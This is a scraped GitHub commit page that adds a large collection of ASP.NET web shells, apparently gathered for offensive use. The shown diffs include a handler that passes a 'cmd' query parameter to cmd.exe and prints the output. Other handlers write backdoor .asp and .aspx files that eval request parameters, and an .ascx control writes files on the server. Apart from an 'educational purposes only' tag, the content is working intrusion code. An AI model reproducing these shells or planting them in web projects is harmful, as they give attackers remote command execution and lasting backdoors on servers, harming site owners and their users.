Skip to content

Commit 0c841d8

Browse files
committed
update
1 parent cf116dc commit 0c841d8

File tree

619 files changed

+328916
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

619 files changed

+328916
-0
lines changed

Aar/Axis2Shell-master.zip

7.85 KB
Binary file not shown.

Ascx/shell.ascx

+17
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
<script runat="server">
2+
3+
public void WriteShell(object sender,EventArgs e)
4+
5+
{
6+
7+
System.IO.File.WriteAllText(HttpContext.Current.Request.PhysicalPath+".aspx","test by wooyun");
8+
9+
}
10+
11+
</script>
12+
13+
<form runat="server">
14+
15+
<asp:Button ID="Write" runat="server" Text="Write" OnClick="WriteShell"/>
16+
17+
</form>

Ashx/Hypn.ashx

+42
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
<% @ webhandler language="C#" class="AverageHandler" %>
2+
3+
using System;
4+
using System.Web;
5+
using System.Diagnostics;
6+
using System.IO;
7+
8+
public class AverageHandler : IHttpHandler
9+
{
10+
/* .Net requires this to be implemented */
11+
public bool IsReusable
12+
{
13+
get { return true; }
14+
}
15+
16+
/* main executing code */
17+
public void ProcessRequest(HttpContext ctx)
18+
{
19+
Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);
20+
string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
21+
22+
ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>");
23+
ctx.Response.Write("<hr>");
24+
ctx.Response.Write("<pre>");
25+
26+
/* command execution and output retrieval */
27+
ProcessStartInfo psi = new ProcessStartInfo();
28+
psi.FileName = "cmd.exe";
29+
psi.Arguments = "/c "+command;
30+
psi.RedirectStandardOutput = true;
31+
psi.UseShellExecute = false;
32+
Process p = Process.Start(psi);
33+
StreamReader stmrdr = p.StandardOutput;
34+
string s = stmrdr.ReadToEnd();
35+
stmrdr.Close();
36+
37+
ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
38+
ctx.Response.Write("</pre>");
39+
ctx.Response.Write("<hr>");
40+
ctx.Response.Write("By <a href='http://www.twitter.com/Hypn'>@Hypn</a>, for educational purposes only.");
41+
}
42+
}

Ashx/include.ashx

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<%@ WebHandler Language="C#" class="Handler" %>
2+
using System;
3+
using System.Web;
4+
using System.IO;
5+
public class Handler : IHttpHandler {
6+
7+
public void ProcessRequest (HttpContext context) {
8+
context.Response.ContentType = "text/plain";
9+
StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx"));
10+
file1.Write("<!--#include file=\"query.aspx\" -->");
11+
file1.Flush();
12+
file1.Close();
13+
}
14+
public bool IsReusable {
15+
get {
16+
return false;
17+
}
18+
}
19+
}

Ashx/shell.jpg

+42
Loading

Ashx/write_asp_file.ashx

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<%@ WebHandler Language="C#" class="Handler" %>
2+
using System;
3+
using System.Web;
4+
using System.IO;
5+
public class Handler : IHttpHandler {
6+
7+
public void ProcessRequest (HttpContext context) {
8+
context.Response.ContentType = "text/plain";
9+
StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp"));
10+
file1.Write("<%response.clear:execute request(\"root\"):response.End%>");
11+
file1.Flush();
12+
file1.Close();
13+
}
14+
public bool IsReusable {
15+
get {
16+
return false;
17+
}
18+
}
19+
}

Ashx/write_aspx_file.ashx

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<%@ WebHandler Language="C#" Class="Handler" %>
2+
using System;
3+
using System.Web;
4+
using System.IO;
5+
public class Handler : IHttpHandler {
6+
public void ProcessRequest (HttpContext context) {
7+
context.Response.ContentType = "text/plain";
8+
string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"keio\"]"+",\"unsafe\");%>Hey web master,Have a nice day o.O? I hope so! HaHa";
9+
StreamWriter file1= File.CreateText(context.Server.MapPath("query.aspx"));
10+
file1.Write(show);
11+
file1.Flush();
12+
file1.Close();
13+
}
14+
public bool IsReusable {
15+
get {
16+
return false;
17+
}
18+
}
19+
}

Ashx/xx.ashx

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
<%@ WebHandler Language="C#" Class="Handler" %>
2+
using System;
3+
using System.Web;
4+
using System.IO;
5+
public class Handler : IHttpHandler {
6+
public void ProcessRequest (HttpContext context) {
7+
context.Response.ContentType = "text/plain";
8+
string show="<% @Page Language=\"Jscript\"%"+"><%Response.Write(eval(Request.Item"+"[\"xiaoma\"]"+",\"unsafe\"));%>Hey web master,Have a nice day o.O? I hope so! HaHa";
9+
StreamWriter file1= File.CreateText(context.Server.MapPath("query.aspx"));
10+
file1.Write(show);
11+
file1.Flush();
12+
file1.Close();
13+
}
14+
public bool IsReusable {
15+
get {
16+
return false;
17+
}
18+
}
19+
}

0 commit comments

Comments
 (0)